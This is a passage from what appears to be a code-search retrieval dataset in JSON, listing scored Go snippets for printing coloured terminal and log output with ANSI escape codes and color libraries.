io.Writer, data []byte) error {\n buf := bufio.NewWriter(w)\n defer buf.Flush()\n\n for i := 0; i < len(data); i++ {\n // If the byte is not a color control symbol (@) just write it\n if data[i] != '@' {\n err := buf.WriteByte(data[i])\n if err != nil {\n return err\n }\n continue\n }\n\n // Replace with color escape code if found in the map\n i++\n bytes := colorMap[data[i]]\n if bytes != nil {\n _, err := buf.Write(bytes)\n if err != nil {\n return err\n }\n }\n }\n\n return nil\n}", "title": "" }, { "docid": "c66fe7d88d6d5e62224051696a3e6f56", "score": "0.5608825", "text": "func Red(text string) string {\n\treturn Apply(ColorRed, text)\n}", "title": "" }, { "docid": "b423fbe4d3360c702d74f7aad8fcab1f", "score": "0.5605245", "text": "func coloredPrinter(line *logsink.LineMessage) {\n\terrorColor := color.New(color.FgRed)\n\twarningColor := color.New(color.FgYellow)\n\tif line.Priority > 3 {\n\t\t_, _ = errorColor.Println(line.Line)\n\t} else if line.Priority == 2 || line.Priority == 3 {\n\t\t_, _ = warningColor.Println(line.Line)\n\t} else {\n\t\tfmt.Println(line.Line)\n\t}\n}", "title": "" }, { "docid": "a79535522970f9214a1fd40461581421", "score": "0.5539737", "text": "func withColor(color, msg string) string {\n\treturn fmt.Sprintf(\"[%s]%s[-]\", color, msg)\n}", "title": "" }, { "docid": "2ff41cac5947a03d7bb63d2c758f990c", "score": "0.5539587", "text": "func PrintMessage(message string, color ColorPrint, destIP string) {\n\tfmt.Println(string(color))\n\tfmt.Println(\"-----------------------------------------\")\n\tlog.Println(message)\n\tfmt.Println(\"Client addr : \" + destIP)\n\tfmt.Println(\"-----------------------------------------\")\n\tfmt.Println(string(ResetColor))\n}", "title": "" }, { "docid": "4e6482e46ed0e10917e15021ab4d232e", "score": "0.55323833", "text": "func (r *SimpleResponse) GetColor() int { return 0 }", "title": "" }, { "docid": "ab5378c63517ac598b044b0ff07e7525", "score": "0.5480048", "text": "func RedString(format string, a ...interface{}) string { return colorString(format, FgRed, a...) }", "title": "" }, { "docid": "3eddab55bfd39cf3350d348fb7fa67f6", "score": "0.54758894", "text": "func Red(str string) string {\n\treturn fmt.Sprintf(\"\\033[%d;3m%s\\033[0m\", red, str)\n}", "title": "" }, { "docid": "da9ce4629cfec2339fa47e440683dc37", "score": "0.5458969", "text": "func RedBold(message string) string {\n\treturn fmt.Sprintf(\"\\x1b[31m%s\\x1b[0m\", bold(message))\n}", "title": "" }, { "docid": "d4e62395f17b420851536ea761e115c6", "score": "0.5450043", "text": "func (c *OutputFormat) color(d Difference) string {\n\tswitch {\n\tcase !d.Replace:\n\t\treturn \"\"\n\tcase len(d.From) == 0:\n\t\treturn c.remove\n\tcase len(d.To) == 0:\n\t\treturn c.add\n\tdefault:\n\t\treturn c.change\n\t}\n}", "title": "" }, { "docid": "51a2c93ffcde2c0be73d0460e77f2ee2", "score": "0.5437655", "text": "func (v *VisorDevice) Red() {\n\tfor i := range v.LED {\n\t\tv.LED[i] = color.RGBA{R: 0xff, G: 0x00, B: 0x00}\n\t}\n\n\tv.Show()\n}", "title": "" }, { "docid": "ba32ee880cd412ad4c1a886bebf7eca6", "score": "0.54373866", "text": "func printlnGreen(text string) {\n\tfmt.Printf(\"\\033[32m%s\\033[0m\\n\", text)\n}", "title": "" }, { "docid": "41554be1383a73ba9d8c892c780e7cdb", "score": "0.54054", "text": "func (fs *fileSearcher) modifyPrintColor(s, color string) string {\n\treturn fmt.Sprintf(\"%s%s%s\", color, s, colorNormal)\n}", "title": "" }, { "docid": "758dd17a1e694b666688ae299a25c754", "score": "0.5404318", "text": "func (r *SimpleResponse) SetColor(color int) {}", "title": "" }, { "docid": "6e478f013efc0d922ac599c3cbad6db6", "score": "0.5399016", "text": "func (l Level) StringColor() string {\n\tvar str string\n\n\tswitch l {\n\tcase DEBUG:\n\t\tstr = blue(\"DEBUG\")\n\tcase INFO:\n\t\tstr = cyan(\"INFO\")\n\tcase WARN:\n\t\tstr = yellow(\"WARN\")\n\tcase ERROR:\n\t\tstr = red(\"ERROR\")\n\tdefault:\n\t\tstr = \"OTHER\"\n\t}\n\n\treturn str\n}", "title": "" }, { "docid": "8499e82940aa8c92273329f4189ddd87", "score": "0.5387945", "text": "func (w Writer) log(out string, attr color.Attribute, level int) {\n\tif w.level <= level {\n\t\tcolor.Set(attr)\n\t\tlog.Printf(out)\n\t\tcolor.Unset()\n\t}\n}", "title": "" }, { "docid": "97dac48f616f54004734da08cfc5b1d5", "score": "0.5374685", "text": "func (ui *UI) Red(in string) string {\n\treturn chalk.Red.Color(in)\n}", "title": "" }, { "docid": "c914177f3d9d60c32a6c2def90546cbf", "score": "0.53638434", "text": "func (c *Console) Redf(format string, a ...interface{}) string {\n\treturn fmt.Sprintf(chalk.Red.Color(format), a...)\n}", "title": "" }, { "docid": "b365a6f5d673dde6d424cac789d55c40", "score": "0.5329058", "text": "func ColourRed(s *SmartBulb) Command {\n\treturn CommandFunc(func() { s.Change(\"Red\") })\n}", "title": "" }, { "docid": "e6f3222484d1c2dbce6ea22127ce8bb5", "score": "0.53107136", "text": "func Colorful(msg string, conf ...int) string {\n\tif len(conf) == 0 {\n\t\treturn msg\n\t}\n\tvar showType, foreground, background int\n\tswitch len(conf) {\n\tcase 1:\n\t\tforeground = conf[0]\n\tcase 2:\n\t\tforeground = conf[0]\n\t\tshowType = conf[1]\n\tdefault:\n\t\tforeground = conf[0]\n\t\tshowType = conf[1]\n\t\tbackground = conf[2]\n\t}\n\n\treturn fmt.Sprintf(\"%c[%d;%d;%dm%s%c[0m\", 0x1B, showType, background, foreground, msg, 0x1B)\n}", "title": "" }, { "docid": "0c98ad840b2cdb51e25928bf2ff02c1c", "score": "0.5292238", "text": "func Colorize(message interface{}, styles ...Style) string {\n\tvar res string\n\tfor _, style := range styles {\n\t\tres += style.String()\n\t}\n\n\treturn res + fmt.Sprint(message) + reset\n}", "title": "" }, { "docid": "a2a75a7d6dd6de5ba73e32ed4cb102f9", "score": "0.52911", "text": "func ResetColor() {\n\tfmt.Printf(Normal)\n}", "title": "" }, { "docid": "1dfe87e94384b8e72ba5cb7a917f66e9", "score": "0.52686954", "text": "func (sw *StreamHandler) Colored(ok ...bool) bool {\n\tif len(ok) > 0 {\n\t\tsw.Formatter.colored = ok[0]\n\t}\n\treturn sw.Formatter.colored\n}", "title": "" }, { "docid": "1de989f0525372247187d0b08fb9ffc9", "score": "0.5254683", "text": "func LightRed(text string) string {\n\treturn Apply(ColorLightRed, text)\n}", "title": "" }, { "docid": "eb44bf341d5a3fe25ce17e31f7419831", "score": "0.52371246", "text": "func (l *Logger) logWithColor(color string, a ...interface{}) {\n\tmsg := fmt.Sprintln(a...)\n\tl.Log(color + strings.TrimSuffix(msg, \"\\n\") + ConsoleColors.Reset())\n}", "title": "" }, { "docid": "f00853d12018a958a2a29491df702705", "score": "0.5197946", "text": "func BRed(format string, a ...interface{}) string {\n\treturn generateFormat(SBDRed, format, a...)\n}", "title": "" }, { "docid": "0c65e9b93cdcf8e17ff74f8e31b69203", "score": "0.5183776", "text": "func (mw *MessageWriter) Status(msg string) {\n\tfmt.Fprintf(mw.w, \"102 Status\\nMessage: %s\\n\\n\", msg)\n}", "title": "" }, { "docid": "776360a4d8911d9ab3bcb7684e7ef74d", "score": "0.51643085", "text": "func Color(s string, d Direction) string {\n\tif d == Flat {\n\t\treturn s\n\t}\n\n\tcode := \"31\"\n\tin := s\n\tif d == Up {\n\t\tin = \"+\" + s\n\t\tcode = \"32\"\n\t}\n\n\tparts := strings.Split(in, \" \")\n\tvar out string\n\n\t// Down.\n\tpre := fmt.Sprintf(\"%s[%sm\", ESC, code)\n\tpost := fmt.Sprintf(\"%s[%dm\", ESC, 0)\n\n\tfor i, str := range parts {\n\t\tout = out + pre + str + post\n\t\tif i == 0 {\n\t\t\tout = out + \" \"\n\t\t}\n\t}\n\n\treturn out\n}", "title": "" }, { "docid": "6d82ed02cf132b6956cfe66173468c6b", "score": "0.51622367", "text": "func ColorAnswer(in string) string {\n\treturn fmt.Sprintf(StatusColor, in)\n}", "title": "" }, { "docid": "f188310f83a04debe271acfc44e6900f", "score": "0.514007", "text": "func HiRedString(format string, a ...interface{}) string { return colorString(format, FgHiRed, a...) }", "title": "" }, { "docid": "8ce65d6b21a4d8758bca93abc6530922", "score": "0.51115394", "text": "func logTypeToColor(level log.Level) string {\n\tswitch level {\n\tcase log.DebugLevel:\n\t\treturn \"[0;37\"\n\tcase log.InfoLevel:\n\t\treturn \"[0;36\"\n\tcase log.WarnLevel:\n\t\treturn \"[0;33\"\n\tcase log.ErrorLevel:\n\t\treturn \"[0;31\"\n\tcase log.FatalLevel:\n\t\treturn \"[0;31\"\n\tcase log.PanicLevel:\n\t\treturn \"[0;31\"\n\t}\n\n\treturn \"[0;37\"\n}", "title": "" }, { "docid": "6bbc0c1e20ffc923816e6f3a8e83fe7a", "score": "0.5110666", "text": "func (formatter *Formatter) Color(level gxlog.Level) Color {\n\tformatter.lock.Lock()\n\tdefer formatter.lock.Unlock()\n\n\treturn formatter.colorMgr.Color(level)\n}", "title": "" }, { "docid": "664a8f44e00a0b7fe34734a12048b2dc", "score": "0.508696", "text": "func TestRenderColoredMessage(t *testing.T) {\n\tmessage := testMsg\n\trendered := tui.RenderMessage(&message, 80, tui.CurrentColor, tui.ClearColor)\n\tif !strings.Contains(string(rendered[0]), tui.CurrentColor) && !strings.Contains(string(rendered[0]), tui.ClearColor) {\n\t\tt.Error(\"Expected current message to be rendered in color CurrentColor\", string(rendered[0]))\n\t}\n\tsecond := testMsg\n\tsecond.UUID = \"different\"\n\trendered = tui.RenderMessage(&second, 80, tui.AncestorColor, tui.ClearColor)\n\tif !strings.Contains(string(rendered[0]), tui.AncestorColor) && !strings.Contains(string(rendered[0]), tui.ClearColor) {\n\t\tt.Error(\"Expected message to be rendered in color AncestorColor\", string(rendered[0]))\n\t}\n}", "title": "" }, { "docid": "f3c3c98993300a0b21b22d0cdc5510c1", "score": "0.5057816", "text": "func (entry E) Color() string {\n\treturn Colors[entry.level]\n}", "title": "" }, { "docid": "d75893b4d21d181bf79d7293bdfb289d", "score": "0.5047549", "text": "func Color(couleur int, str string) {\n\tcolorRed := \"\\033[31m\"\n\tcolorGreen := \"\\033[32m\"\n\tcolorBlue := \"\\033[34m\"\n\tcolorYellow := \"\\033[33m\"\n\tif couleur == 1 {\n\t\tfmt.Println(string(colorGreen), str)\n\t} else if couleur == 2 {\n\t\tfmt.Println(string(colorBlue), str)\n\t} else if couleur == 3 {\n\t\tfmt.Println(string(colorYellow), str)\n\t} else {\n\t\tfmt.Println(string(colorRed), str)\n\t}\n}", "title": "" }, { "docid": "83dd820646207dabcca037e8025efa84", "score": "0.5038241", "text": "func boldRed(str string) string {\n\tif runtime.GOOS != \"windows\" && jsonOutput == false {\n\t\treturn \"\\033[1;31m\" + str + \"\\033[0m\"\n\t}\n\treturn str\n}", "title": "" }, { "docid": "4af1f5550008a65d6c068d6913223d5d", "score": "0.5036807", "text": "func (c RGB) Red() uint8 {\n\treturn uint8(c >> 16)\n}", "title": "" }, { "docid": "6254428dd1d729840779086fbe3e1f33", "score": "0.5036149", "text": "func RedText(format string, a ...interface{}) {\n\tcolor.Red(format, a...)\n}", "title": "" }, { "docid": "6231381b2f27b0c1cd8f0da808f5223e", "score": "0.503556", "text": "func WriteStatus(status []byte, buf *buf.ByteBuf) {\r\n\tbuf.WriteByte('+')\r\n\tbuf.Write(status)\r\n\tbuf.Write(Delims)\r\n}", "title": "" }, { "docid": "17d0aad5af81ce801677abd7da388634", "score": "0.5028801", "text": "func Info(msg string) {\n\tcolor.Cyan(fmt.Sprintf(\"\\r[bird] %-50s \", msg))\n}", "title": "" }, { "docid": "c97798c2b5788b2d3bfef213d6d10cab", "score": "0.5010485", "text": "func Suc(msg string) {\n\tcErr := color.New(color.FgCyan)\n\tcErr.Println(\"[SUC]\", msg)\n}", "title": "" }, { "docid": "a98c6ce5bd46ba2e71d4efb9d4bc91c1", "score": "0.5008834", "text": "func Err(msg string) {\n\tcErr := color.New(color.FgRed)\n\tcErr.Println(\"[Err]\", msg)\n}", "title": "" }, { "docid": "bc556b1736061045c8aa04cf7b5c2844", "score": "0.50077903", "text": "func (w *Worker) Log(level LogLevel, calldepth int, record *Record) error {\n\n\tif w.level < level {\n\t\treturn nil\n\t}\n\n\tif w.Color != 0 {\n\t\tbuf := &bytes.Buffer{}\n\t\tbuf.Write([]byte(colors[level]))\n\t\tbuf.Write([]byte(record.Output(w.format)))\n\t\tbuf.Write([]byte(\"\\033[0m\"))\n\t\treturn w.Minion.Output(calldepth+1, buf.String())\n\t} else {\n\t\treturn w.Minion.Output(calldepth+1, record.Output(w.format))\n\t}\n}", "title": "" }, { "docid": "b4a2e1e01dee23c87aaa618a60092690", "score": "0.49923193", "text": "func (p *Pipeline) status(line string) {\n\tred := color.New(color.FgRed).SprintFunc()\n\tline = red(\"[pipeline]\") + \"[\" + p.Name + \"]: \" + line\n\tsend(p.Name, line)\n}", "title": "" }, { "docid": "b196688b8a77554836afc5ad2c9824f9", "score": "0.49783155", "text": "func (r *TerminalRenderer) renderAlert(alert check.Alert) {\n\tfg := r.fgColor[alert.Level]\n\thl := r.hlColor[alert.Level]\n\tlc := fg\n\n\tif alert.IsIgnored {\n\t\tfg = \"{s}\"\n\t\thl = \"{s*}\"\n\t}\n\n\tfmtc.Printf(lc + \"│ {!}\")\n\n\tif alert.Line.Index != -1 {\n\t\tfmtc.Printf(hl+\"[%d]{!} \", alert.Line.Index)\n\t} else {\n\t\tfmtc.Printf(hl + \"[global]{!} \")\n\t}\n\n\tif alert.IsIgnored {\n\t\tfmtc.Printf(\"{s}[I]{!} \")\n\t}\n\n\tif alert.ID != \"\" {\n\t\tfmtc.Printf(fg+\"(%s) %s{!}\\n\", alert.ID, alert.Info)\n\t} else {\n\t\tfmtc.Printf(fg+\"(rpmlint) %s{!}\\n\", alert.Info)\n\t}\n\n\tif alert.Line.Text != \"\" {\n\t\ttext := strutil.Ellipsis(alert.Line.Text, 86)\n\t\tif alert.IsIgnored {\n\t\t\tfmtc.Printf(lc+\"│ {s-}%s{!}\\n\", text)\n\t\t} else {\n\t\t\tfmtc.Printf(lc+\"│ {s}%s{!}\\n\", text)\n\t\t}\n\t}\n}", "title": "" }, { "docid": "35121e7c527bbc5ebf21c66f1ead3230", "score": "0.49494204", "text": "func SetLogRedactionLevel(level LogRedactLevel) {\n\tglobalLogRedactionLevel = level\n}", "title": "" }, { "docid": "53f79fa511d82e7aeeea32927434045e", "score": "0.4936133", "text": "func (ds DecoratedString) OnRed() DecoratedString {\n\treturn OnRed(string(ds))\n}", "title": "" }, { "docid": "5a520d7423d7e17fb5a9369c17bd6526", "score": "0.49301675", "text": "func SwitchColor(s string) {\n\tfmt.Printf(s)\n}", "title": "" }, { "docid": "3a84fbdcc1fdcafe4fd95bd6aaa8fb19", "score": "0.49238297", "text": "func (w Writer) White(out string, level int) {\n\tw.log(out, color.FgWhite, level)\n}", "title": "" }, { "docid": "1bc9ffc6e1cbde7854b063fda7b29b28", "score": "0.4912597", "text": "func RPrintf(f string, a ...interface{}) {\n\tfmt.Printf(\"\\033[0;31m\"+f+\"\\033[0m\", a...)\n}", "title": "" }, { "docid": "72eafb1f5611ce0d3ea4ed0cb873e7a1", "score": "0.4902179", "text": "func ColorPrint(i int, format string, arg ...interface{}) {\n\tproc.Call(uintptr(syscall.Stdout), uintptr(i))\n\tfmt.Printf(format, arg...)\n\tproc.Call(uintptr(syscall.Stdout), uintptr(Light_yellow))\n}", "title": "" }, { "docid": "f712fd5b776988cf1324fbcefa6e5823", "score": "0.48879302", "text": "func (w Writer) Magenta(out string, level int) {\n\tw.log(out, color.FgMagenta, level)\n}", "title": "" }, { "docid": "af893454c31ccc75206f5b9458109f4e", "score": "0.48844635", "text": "func TestConsole_WriteColor(t *testing.T) {\n\n\tts := time.Now()\n\n\te := logger.LogEntry{\n\t\tLevel: logger.INFO,\n\t\tFilename: \"test.txt\",\n\t\tLine: 100,\n\t\tTimestamp: ts,\n\t\tMessage: \"Hello World\",\n\t}\n\n\tc, err := New(Options{Color: true})\n\tassert.NoError(t, err)\n\n\tif os.Getenv(\"TestRunning\") == \"1\" {\n\t\te.Level = logger.TRACE\n\t\tc.Write(e)\n\t\treturn\n\t}\n\n\tif os.Getenv(\"TestRunning\") == \"2\" {\n\t\te.Level = logger.DEBUG\n\t\tc.Write(e)\n\t\treturn\n\t}\n\n\tif os.Getenv(\"TestRunning\") == \"3\" {\n\t\te.Level = logger.INFO\n\t\tc.Write(e)\n\t\treturn\n\t}\n\n\tif os.Getenv(\"TestRunning\") == \"4\" {\n\t\te.Level = logger.WARNING\n\t\tc.Write(e)\n\t\treturn\n\t}\n\n\tif os.Getenv(\"TestRunning\") == \"5\" {\n\t\te.Level = logger.ERROR\n\t\tc.Write(e)\n\t\treturn\n\t}\n\tif os.Getenv(\"TestRunning\") == \"6\" {\n\t\te.Level = logger.CRITICAL\n\t\tc.Write(e)\n\t\treturn\n\t}\n\n\tcmd := exec.Command(os.Args[0], \"-test.run=TestConsole_WriteColor\")\n\tcmd.Env = append(os.Environ(), \"TestRunning=1\")\n\to, _ := cmd.Output()\n\tassert.Equal(t, \"\\x1b[92mTRACE\\x1b[39m test.txt:100 Hello World\", strings.Split(string(o), \"\\n\")[0][20:])\n\n\tcmd = exec.Command(os.Args[0], \"-test.run=TestConsole_WriteColor\")\n\tcmd.Env = append(os.Environ(), \"TestRunning=2\")\n\to, _ = cmd.Output()\n\tassert.Equal(t, \"\\x1b[96mDEBUG\\x1b[39m test.txt:100 Hello World\", strings.Split(string(o), \"\\n\")[0][20:])\n\n\tcmd = exec.Command(os.Args[0], \"-test.run=TestConsole_WriteColor\")\n\tcmd.Env = append(os.Environ(), \"TestRunning=3\")\n\to, _ = cmd.Output()\n\tassert.Equal(t, \"\\x1b[93mINFO\\x1b[39m test.txt:100 Hello World\", strings.Split(string(o), \"\\n\")[0][20:])\n\n\tcmd = exec.Command(os.Args[0], \"-test.run=TestConsole_WriteColor\")\n\tcmd.Env = append(os.Environ(), \"TestRunning=4\")\n\to, _ = cmd.Output()\n\tassert.Equal(t, \"\\x1b[95mWARNING\\x1b[39m test.txt:100 Hello World\", strings.Split(string(o), \"\\n\")[0][20:])\n\n\tcmd = exec.Command(os.Args[0], \"-test.run=TestConsole_WriteColor\")\n\tcmd.Env = append(os.Environ(), \"TestRunning=5\")\n\to, _ = cmd.Output()\n\tassert.Equal(t, \"\\x1b[91mERROR\\x1b[39m test.txt:100 Hello World\", strings.Split(string(o), \"\\n\")[0][20:])\n\n\tcmd = exec.Command(os.Args[0], \"-test.run=TestConsole_WriteColor\")\n\tcmd.Env = append(os.Environ(), \"TestRunning=6\")\n\to, _ = cmd.Output()\n\tassert.Equal(t, \"\\x1b[91mCRITICAL\\x1b[39m test.txt:100 Hello World\", strings.Split(string(o), \"\\n\")[0][20:])\n\n\t// this is covered in a extra console call, but that's not included in the coverage.\n\te.Level = logger.TRACE\n\tc.Write(e)\n\n\te.Level = logger.DEBUG\n\tc.Write(e)\n\n\te.Level = logger.INFO\n\tc.Write(e)\n\n\te.Level = logger.WARNING\n\tc.Write(e)\n\n\te.Level = logger.ERROR\n\tc.Write(e)\n\n\te.Level = logger.CRITICAL\n\tc.Write(e)\n}", "title": "" }, { "docid": "f3c1060ae78f07ab63d6d0ad8dda00b0", "score": "0.4880395", "text": "func Status(status StatusEnum, message string) {\n\tstat := getStatus(status)\n\tpaint(stat.color).Printf(\"%s %s \", stat.icon, stat.message)\n\tfmt.Println(message)\n}", "title": "" }, { "docid": "db2f1d5206b0639d4c853d0160545ba4", "score": "0.48771062", "text": "func coloured(str string, fg string, bg string) string {\n\treturn fmt.Sprintf(\"#[fg=%s,bg=%s]%s\", fg, bg, str)\n}", "title": "" }, { "docid": "8dd8ff6bfdcc201886be04985da9e62c", "score": "0.4871313", "text": "func (mw *miscWriter) setColorRenderingIntent(intent string) {\n\tfmt.Fprintf(mw.wr, \"/%s ri\\n\", intent)\n}", "title": "" }, { "docid": "70b91201dc6b540a18ca55a9a1264040", "score": "0.48582193", "text": "func green(arg interface{}) string {\n\treturn colorize(fmt.Sprint(arg), greenCol)\n}", "title": "" }, { "docid": "ca4862a1dcca1b235ab045a49f2ccfd6", "score": "0.4853951", "text": "func Color(str string, color int) string {\n\treturn fmt.Sprintf(\"\\x03%d%s\\x03\", color, str)\n}", "title": "" }, { "docid": "a9866e2e9366ad29dfc272e353581263", "score": "0.48514712", "text": "func ColorStripWrite(w io.Writer, data []byte) error {\n buf := bufio.NewWriter(w)\n defer buf.Flush()\n\n for i := 0; i < len(data); i++ {\n // If the byte is not a color control symbol (@) just write it\n if data[i] != '@' {\n err := buf.WriteByte(data[i])\n if err != nil {\n return err\n }\n continue\n }\n\n // Strip it out\n i++\n if data[i] == '@' {\n err := buf.WriteByte('@')\n if err != nil {\n return err\n }\n }\n }\n\n return nil\n}", "title": "" }, { "docid": "069a795b788bc1a7cf66be94ff615c83", "score": "0.4846513", "text": "func main() {\n\tcolorReset := \"\\033[0m\";\n\tfmt.Println(\"Hello World\");\n\tcolorRed := \"\\033[31m\";\n\tcolorGreen := \"\\033[32m\";\n\tcolorYellow := \"\\033[33m\"; \n\tcolorBlue := \"\\033[34m\";\n\tcolorPurple := \"\\033[35m\";\n\tcolorCyan := \"\\033[36m\";\n\tcolorWhite := \"\\033[37m\";\n\n\tfmt.Println(string(colorRed), \" test\");\n\tfmt.Println(string(colorGreen), \" test\");\n\tfmt.Println(string(colorYellow), \" test\");\n\tfmt.Println(string(colorBlue), \" test\");\n\tfmt.Println(string(colorPurple), \" test\");\n\tfmt.Println(string(colorCyan), \" test\");\n\tfmt.Println(string(colorWhite), \" test\");\n\tfmt.Println(string(colorReset), \"test\")\t\n\n\t// more complicated example\n\tvar yourName string;\n\tfmt.Print(\"Enter Your Name: \");\n\tfmt.Scanln(&yourName);\n\t// color only the name\n\tyourName = fmt.Sprint(string(colorGreen), yourName);\n\tconcat := \"Your Name is \" + yourName + \"!@\";\n\n\tfmt.Println(concat);\n\n}", "title": "" }, { "docid": "a891cc2f39db03a9fed070dee9d396f6", "score": "0.48443672", "text": "func Fprintln(w io.Writer, a string) (n int, err error) {\n\treturn fmt.Fprintln(w, Color(a))\n}", "title": "" }, { "docid": "17a99fb5536ef097ccf3d71a761a7b64", "score": "0.48414138", "text": "func (b *Buffer) SendGood(s ...string) { b.sendColor(text.Good, s...) }", "title": "" }, { "docid": "ca40176001b775b71f08764b2a8ecf15", "score": "0.48374566", "text": "func (ti *Terminfo) Color(fg, bg int) (rv string) {\n\tmaxColors := int(ti.Numbers[caps.MaxColors])\n\t// Map bright colors to lower versions if the color table only holds 8.\n\tif maxColors == 8 {\n\t\tif fg > 7 && fg < 16 {\n\t\t\tfg -= 8\n\t\t}\n\t\tif bg > 7 && bg < 16 {\n\t\t\tbg -= 8\n\t\t}\n\t}\n\tif maxColors > fg && fg >= 0 {\n\t\trv += ti.Parm(caps.SetAForeground, fg)\n\t}\n\tif maxColors > bg && bg >= 0 {\n\t\trv += ti.Parm(caps.SetABackground, bg)\n\t}\n\treturn\n}", "title": "" }, { "docid": "778c30e1c772d3f1c8403b18d08308cb", "score": "0.48369154", "text": "func writeStatusLine(bw *bufio.Writer, is11 bool, code int, scratch []byte) {\n\tif is11 {\n\t\tbw.WriteString(\"HTTP/1.1 \")\n\t} else {\n\t\tbw.WriteString(\"HTTP/1.0 \")\n\t}\n\tif text, ok := statusText[code]; ok {\n\t\tbw.Write(strconv.AppendInt(scratch[:0], int64(code), 10))\n\t\tbw.WriteByte(' ')\n\t\tbw.WriteString(text)\n\t\tbw.Write(CrLf)\n\t} else {\n\t\t// don't worry about performance\n\t\tfmt.Fprintf(bw, \"%03d status code %d\\r\\n\", code, code)\n\t}\n}", "title": "" }, { "docid": "d8e58b3b3ba953fdaaa80def953b9912", "score": "0.48361623", "text": "func greenText(message string) string {\n\treturn color.GreenString(message)\n}", "title": "" }, { "docid": "537cda4761f1b08df429db1e106339be", "score": "0.48337322", "text": "func (c *DrawFourWildCard) ColorChanged(g *Game) []*Message {\n\tg.advancePlay()\n\ttarget := g.currentPlayer()\n\tret := g.drawN(4, target)\n\n\tc.WildCard.Play(g)\n\n\treturn ret\n}", "title": "" }, { "docid": "532fd3e74e98a91effc79ccc7ec3680f", "score": "0.48317602", "text": "func addChannelColor (a uint8, b uint8, strength float64) uint8 {\n\treturn uint8(float64(a)*strength + float64(b)*(1-strength))\n}", "title": "" }, { "docid": "3ccd676fd016c01afdbe7d8247b1673f", "score": "0.48182815", "text": "func (l Logger) write(level int, prefix, postfix, msg string, args ...interface{}) {\n\tif level > l.LoggingLevel {\n\t\treturn\n\t}\n\n\ttext := \"\\r\"\n\tmsgFormatted := fmt.Sprintf(msg, args...)\n\tnowFormatted := time.Now().In(time.UTC).Format(\" 01-02 15:04:05 MST \")\n\n\tfor _, line := range strings.Split(msgFormatted, \"\\n\") {\n\t\ttext += prefix + nowFormatted + line + postfix + \"\\n\"\n\t}\n\n\tfmt.Print(text)\n}", "title": "" }, { "docid": "5f9600c607ec14d871e657668427a6a0", "score": "0.48172456", "text": "func TagMsg(msgmod string, msgtype string, msg string) string {\n\n\tmsgmodbase := strings.Split(msgmod, \".\")[0]\n\tmodcolorscheme := ModColorSchemes[strings.ToLower(msgmodbase)]\n\tif modcolorscheme == \"\" {\n\t\tmodcolorscheme = ModColorSchemes[\"other\"]\n\t}\n\tmodtextcolorscheme := textcolorscemes[modcolorscheme]\n\n\ttypecolorscheme := PriorityColorSchemes[strings.ToLower(msgtype)]\n\tif typecolorscheme == \"\" {\n\t\ttypecolorscheme = PriorityColorSchemes[\"other\"]\n\t}\n\ttypetextcolorscheme := textcolorscemes[typecolorscheme]\n\n\tmodarrowcolor := color.New(forecolors[\"black\"]).Add(backcolors[modcolorscheme]).SprintFunc()\n\tmodcolor := color.New(forecolors[modtextcolorscheme]).Add(backcolors[modcolorscheme]).SprintFunc()\n\tjoinarrowcolor := color.New(forecolors[modcolorscheme]).Add(backcolors[typecolorscheme]).SprintFunc()\n\ttypecolor := color.New(forecolors[typetextcolorscheme]).Add(backcolors[typecolorscheme]).SprintFunc()\n\tendarrotcolor := color.New(forecolors[typecolorscheme]).Add(backcolors[\"black\"]).SprintFunc()\n\tmsgmod = strings.ToUpper(msgmod)\n\tmsgtype = strings.ToUpper(msgtype)\n\treturn fmt.Sprintf(\"\\n%s%s%s%s%s %s\", modarrowcolor(\"\\ue0b0\"), modcolor(msgmod), joinarrowcolor(\"\\ue0b0\"), typecolor(msgtype), endarrotcolor(\"\\ue0b0\"), msg)\n}", "title": "" }, { "docid": "3d03ffeeec5f75ad3443ebb96c9efdc9", "score": "0.47995058", "text": "func createMessage(message, color string, onWindows bool) string {\n\terrmsg := ansi.Color(message, color)\n\tif onWindows == true {\n\t\terrmsg = message\n\t}\n\n\treturn errmsg\n}", "title": "" }, { "docid": "b91e867a3aece9bcd4253d3fb53d2704", "score": "0.47915637", "text": "func (l LogglyZap) Write(data []byte) (n int, err error) {\n\tlogglyZap.Message = string(data)\n\treturn 0, nil\n}", "title": "" }, { "docid": "86f1ceeacdcb25e7af6f6851de8cd5b9", "score": "0.47801447", "text": "func redact(s string) string {\n\tif len(s) < 2 {\n\t\treturn \"RD\"\n\t}\n\treturn \"REDACTED\"\n}", "title": "" }, { "docid": "948ffc6a277ab16953c4a786e13aa661", "score": "0.47772437", "text": "func ColouriseStatus(status string) string {\n\treturn Colourise(status, status)\n}", "title": "" }, { "docid": "bfc8f2ef374b1e51b6eec8f39f9cffbb", "score": "0.47759902", "text": "func (l *Logger) Colorize(str, style string) string {\n\treturn ansi.Color(str, style)\n}", "title": "" }, { "docid": "aa41ae8668f3594044999dfaaff39e86", "score": "0.47687835", "text": "func Colorize(st Style, message string) string {\n\tvar sb strings.Builder\n\n\tstyle := string(st)\n\n\tif len(message) == 0 {\n\t\treturn message\n\t}\n\n\tfor _, clause := range strings.Split(style, \"?\") {\n\t\t// ignore whitespace\n\t\tclause = strings.TrimSpace(clause)\n\n\t\t// Skip if there is an empty clause\n\t\tif len(clause) == 0 {\n\t\t\tcontinue\n\t\t}\n\n\t\t/* If we need to match a specific pattern, skip any patterns\n\t\t * that don't match.\n\t\t**/\n\t\tif strings.Contains(clause, \"=\") {\n\t\t\teq := strings.Index(clause, \"=\")\n\t\t\tpattern := strings.TrimSpace(clause[:eq])\n\t\t\tstyle = strings.TrimSpace(clause[eq+1:])\n\n\t\t\tif !strings.EqualFold(pattern, message) {\n\t\t\t\tstyle = \"\"\n\t\t\t\tcontinue\n\t\t\t}\n\t\t\tbreak\n\t\t}\n\t}\n\n\tif len(style) == 0 {\n\t\treturn message\n\t}\n\n\tparts := make([]string, 0)\n\n\tsb.WriteString(ColorPrefix)\n\tfor _, s := range strings.Split(style, \"|\") {\n\t\tparts = append(parts, ExpandStyle(strings.TrimSpace(s)))\n\t}\n\tsb.WriteString(strings.Join(parts, \";\"))\n\tsb.WriteString(ColorSuffix)\n\tsb.WriteString(message)\n\tsb.WriteString(Reset)\n\n\treturn sb.String()\n}", "title": "" }, { "docid": "def0702ceff02d6cb99476f67c5367a9", "score": "0.47653583", "text": "func Enabled() bool { return colorsEnabled }", "title": "" }, { "docid": "eeb63beb95a87db247249cd53f39e977", "score": "0.4763498", "text": "func (l *Logger) getColoredStr(c int, s string) string {\n\treturn color.New(color.Attribute(c)).Sprint(s)\n}", "title": "" }, { "docid": "8be7d81d5fd929395918ff0cd58c3fef", "score": "0.47588006", "text": "func Color(v string) string {\n\treturn def.Color(v)\n}", "title": "" }, { "docid": "831b78a30843db8a1daa21031e33828f", "score": 